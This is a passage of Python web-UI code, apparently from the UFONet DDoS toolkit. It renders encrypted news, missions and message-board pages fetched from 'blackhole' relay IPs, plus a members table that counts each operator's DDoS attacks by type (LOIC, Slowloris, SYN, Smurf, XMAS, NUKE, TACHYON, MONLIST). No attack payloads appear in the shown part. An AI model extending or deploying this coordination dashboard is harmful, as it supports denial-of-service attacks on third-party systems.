- <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
- <tr>
- <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
- <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
- </tr>
- <tr>
- <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
- <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td></tr>
- </tr>
- </table>
- </td></tr></table>
- <br><hr>
- <div id="cmdOut"></div>
- """ + self.pages["/footer"]
- def hmac_sha1(self, key, msg):
- if len(key) > 20:
- key = sha1(key).digest()
- key += chr(0).encode('utf-8') * (20 - len(key))
- o_key_pad = key.translate(self.trans_5C)
- i_key_pad = key.translate(self.trans_36)
- return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
- def derive_keys(self, key):
- key = key.encode('utf-8')
- h = sha256()
- h.update(key)
- h.update('cipher'.encode('utf-8'))
- cipher_key = h.digest()
- h = sha256()
- h.update(key)
- h.update('mac'.encode('utf-8'))
- mac_key = h.digest()
- return (cipher_key, mac_key)
- def decrypt(self, key, text):
- KEY_SIZE = 32
- BLOCK_SIZE = 16
- MAC_SIZE = 20
- mode = AES.MODE_CFB
- try:
- iv_ciphertext_mac = base64.urlsafe_b64decode(text)
- except:
- try:
- padding = len(text) % 4
- if padding == 1:
- return ''
- elif padding == 2:
- text += b'=='
- elif padding == 3:
- text += b'='
- iv_ciphertext_mac = base64.urlsafe_b64decode(text)
- except TypeError:
- return None
- iv = iv_ciphertext_mac[:BLOCK_SIZE]
- ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
- mac = iv_ciphertext_mac[-MAC_SIZE:]
- (cipher_key, mac_key) = self.derive_keys(key)
- expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
- if mac != expected_mac:
- return None
- aes = AES.new(cipher_key, mode, iv)
- self.decryptedtext = aes.decrypt(ciphertext)
- try:
- self.decryptedtext = self.decryptedtext.decode('utf-8')
- except:
- pass
- def encrypt(self, key, text):
- key = base64.b64encode(key)
- c = Cipher(key, text)
- msg = c.encrypt()
- c.set_text(msg)
- self.encryptedtext = str(msg)
- def html_news(self):
- return self.pages["/header"] + """<script language="javascript">
- function Decrypt(){
- news_key=document.getElementById("news_key").value
- if(news_key == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="news_key="+escape(news_key)
- runCommandX("cmd_decrypt",params)
- document.getElementById("nb1").style.display = "none";
- }
- }
- </script>
- <script language="javascript">
- function RefreshNews(){
- news_source=document.getElementById("news_source").value
- if(news_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="news_source="+escape(news_source)
- runCommandX("cmd_refresh_news",params)
- document.getElementById("nb1").style.display = "none";
- setTimeout("location.reload()", 10000)
- }
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br>
- <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
- <td>Blackhole/IP:</td>
- <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
- </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
- <hr>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to CryptoNews!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
- <table cellpading="5" cellspacing="10"><tr><td>
- <form method='GET'>
- Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
- </td></tr><tr><td>
- <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
- </form>
- </td></tr></table></td></tr></table>
- <hr><br>
- </center>
- Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
- <div id="cmdOut"></div>
- <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
- """ + self.pages["/footer"]
- def html_missions(self):
- return self.pages["/header"] + """<script language="javascript">
- function Decrypt(){
- missions_key=document.getElementById("missions_key").value
- if(missions_key == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="missions_key="+escape(missions_key)
- runCommandX("cmd_decrypt",params)
- document.getElementById("nb1").style.display = "none";
- }
- }
- </script>
- <script language="javascript">
- function RefreshMissions(){
- missions_source=document.getElementById("missions_source").value
- if(missions_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="missions_source="+escape(missions_source)
- runCommandX("cmd_refresh_missions",params)
- document.getElementById("nb1").style.display = "none";
- setTimeout("location.reload()", 10000)
- }
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br>
- <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
- <td>Blackhole/IP:</td>
- <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
- </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
- <hr>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to CryptoMissions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
- <table cellpading="5" cellspacing="10"><tr><td>
- <form method='GET'>
- Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
- </td></tr><tr><td>
- <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
- </form>
- </td></tr></table></td></tr></table>
- <hr><br>
- </center>
- Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
- <div id="cmdOut"></div>
- <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
- """ + self.pages["/footer"]
- def html_board(self):
- self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
- self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
- self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
- if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
- device_state = "OFF"
- device = "Board device: <font color='red'>OFF</font><br>"
- else:
- device_state = "ON"
- self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
- boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
- data = json.load(boardcfg_json_file)
- boardcfg_json_file.close()
- profile_token = data["profile_token"]
- profile_icon = data["profile_icon"]
- profile_nick = data["profile_nick"]
- self.profile_nick.encode('utf-8')
- operator_img = open("core/images/crew/"+profile_icon+".txt").read()
- device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
- if device_state == "OFF":
- board_filter = ""
- else:
- board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
- if device_state == "OFF":
- sync_panel = ""
- else:
- sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
- if device_state == "OFF":
- board_panel = ""
- else:
- with open(self.board_file) as f:
- for line in f:
- line = line.strip()
- self.board_warning += "\n" + " " + line + " " + "\n"
- f.close()
- self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
- l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
- board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
- if device_state == "OFF":
- remove_profile = ""
- else:
- remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
- return self.pages["/header"] + """<script language="javascript">
- function BoardProfile() {
- var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function RemoveProfile() {
- var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Decrypt_board(){
- board_key=document.getElementById("board_key").value
- if (document.getElementById('filter_all').checked) {
- filter = document.getElementById('filter_all').value;
- }
- if (document.getElementById('filter_general').checked) {
- filter = document.getElementById('filter_general').value;
- }
- if (document.getElementById('filter_opsec').checked) {
- filter = document.getElementById('filter_opsec').value;
- }
- if (document.getElementById('filter_faq').checked) {
- filter = document.getElementById('filter_faq').value;
- }
- if (document.getElementById('filter_bugs').checked) {
- filter = document.getElementById('filter_bugs').value;
- }
- if (document.getElementById('filter_media').checked) {
- filter = document.getElementById('filter_media').value;
- }
- if(board_key == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="board_key="+escape(board_key)+"&filter="+escape(filter)
- runCommandX("cmd_decrypt_moderator_board",params)
- document.getElementById("nb1").style.display = "none";
- }
- }
- function OptionsCheck() {
- if (document.getElementById('read').checked) {
- document.getElementById('board_read').style.display = 'block';
- document.getElementById('board_send').style.display = 'none';
- document.getElementById('board_warning').style.display = 'none';
- }
- else if(document.getElementById('write').checked) {
- document.getElementById('board_send').style.display = 'block';
- document.getElementById('board_warning').style.display = 'block';
- document.getElementById('board_read').style.display = 'none';
- }
- }
- function Sync_panel(){
- document.getElementById("sync_panel_block").style.display = "block";
- }
- function SyncBoard(){
- document.getElementById('nb1').style.display = 'none';
- board_source=document.getElementById("board_source").value
- if(board_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="board_source="+escape(board_source)
- runCommandX("cmd_sync_board",params)
- setTimeout("location.reload()", 10000)
- }
- }
- </script>
- <script language="javascript">
- function SendMessage() {
- board_source=document.getElementById("board_source_send").value
- board_key=document.getElementById("board_key").value
- stream_txt=document.getElementById("stream_txt").value
- board_selector=document.getElementById("board_selector");
- board_topic = board_selector.options[board_selector.selectedIndex].value;
- if(board_key == "") {
- board_key='"""+str(self.crypto_key)+"""';
- }else{
- if(stream_txt == "") {
- window.alert("You need to enter a message! (~ 1-140 characters)");
- return
- }else{
- if(board_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
- runCommandX("cmd_send_message_board",params)
- setTimeout("location.reload()", 10000)
- }
- }
- }
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br>
- <center>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
- <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
- </td></tr></table></tr></table>
- <hr><br>"""+board_panel+"""
- """ + self.pages["/footer"]
- def generate_grid(self):
- with open(self.grid_file) as f:
- for line in f:
- line = line.strip()
- f.close()
- mothership_members = 0 # mothership_members stats bonus
- unknown_members = 0 # unknown (or non decrypted) mothership members
- grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
- for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
- if grid_msg_sep in m:
- version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
- m = m.split(grid_msg_sep)
- mothership_members = mothership_members + 1
- grid_nickname = m[0][0:12]
- grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
- grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
- grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
- grid_totalchargo = m[2][0:4] # total chargo
- grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
- grid_dorking = m[3][0:4] # dorking
- grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
- grid_transferred = m[4][0:4] # transferred
- grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
- grid_maxchargo = m[5][0:4] # maxchargo
- grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
- grid_missions = m[6][0:4] # missions
- grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
- grid_attacks = m[7][0:4] # attacks
- grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
- grid_loic = m[8][0:4] # loic
- grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
- if version > 17: # v1.4
- grid_loris = m[9][0:4] # loris
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = m[10][0:4] # ufosyn
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = m[11][0:4] # spray
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = m[12][0:4] # smurf
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = m[13][0:4] # xmas
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = m[14][0:4] # nuke
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = m[15][0:4] # tachyon
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
- grid_monlist = m[16][0:4] # monlist
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- try:
- grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
- except:
- grid_contact= "invalid"
- try:
- grid_id = m[18] # id (plain id)
- except:
- grid_id = "invalid!"
- if version == 17: # v1.3
- grid_loris = m[9][0:4] # loris
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = m[10][0:4] # ufosyn
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = m[11][0:4] # spray
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = m[12][0:4] # smurf
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = m[13][0:4] # xmas
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = m[14][0:4] # nuke
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = m[15][0:4] # tachyon
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- try:
- grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
- except:
- grid_contact= "invalid"
- try:
- grid_id = m[17] # id (plain id)
- except:
- grid_id = "invalid!"
- elif version == 16: # v1.2.1
- grid_loris = m[9][0:4] # loris
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = m[10][0:4] # ufosyn
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = m[11][0:4] # spray
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = m[12][0:4] # smurf
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = m[13][0:4] # xmas
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = m[14][0:4] # nuke
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- try:
- grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
- except:
- grid_contact= "invalid"
- try:
- grid_id = m[16] # id (plain id)
- except:
- grid_id = "invalid!"
- elif version == 15: # v1.2
- grid_loris = m[9][0:4] # loris
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = m[10][0:4] # ufosyn
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = m[11][0:4] # spray
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = m[12][0:4] # smurf
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = m[13][0:4] # xmas
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- try:
- grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
- except:
- grid_contact= "invalid"
- try:
- grid_id = m[15] # id (plain id)
- except:
- grid_id = "invalid!"
- elif version == 12: # v1.1
- grid_loris = m[9][0:4] # loris
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = m[10][0:4] # ufosyn
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
- try:
- grid_id = m[12] # id (plain id)
- except:
- grid_id = "invalid!"
- elif version == 11: # v1.0
- grid_loris = m[9][0:4] # loris
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
- try:
- grid_id = m[11] # id (plain id)
- except:
- grid_id = "invalid!"
- elif version == 10: # v0.9
- grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
- grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
- grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
- grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
- grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
- grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
- grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
- grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
- grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
- grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
- grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
- grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
- grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
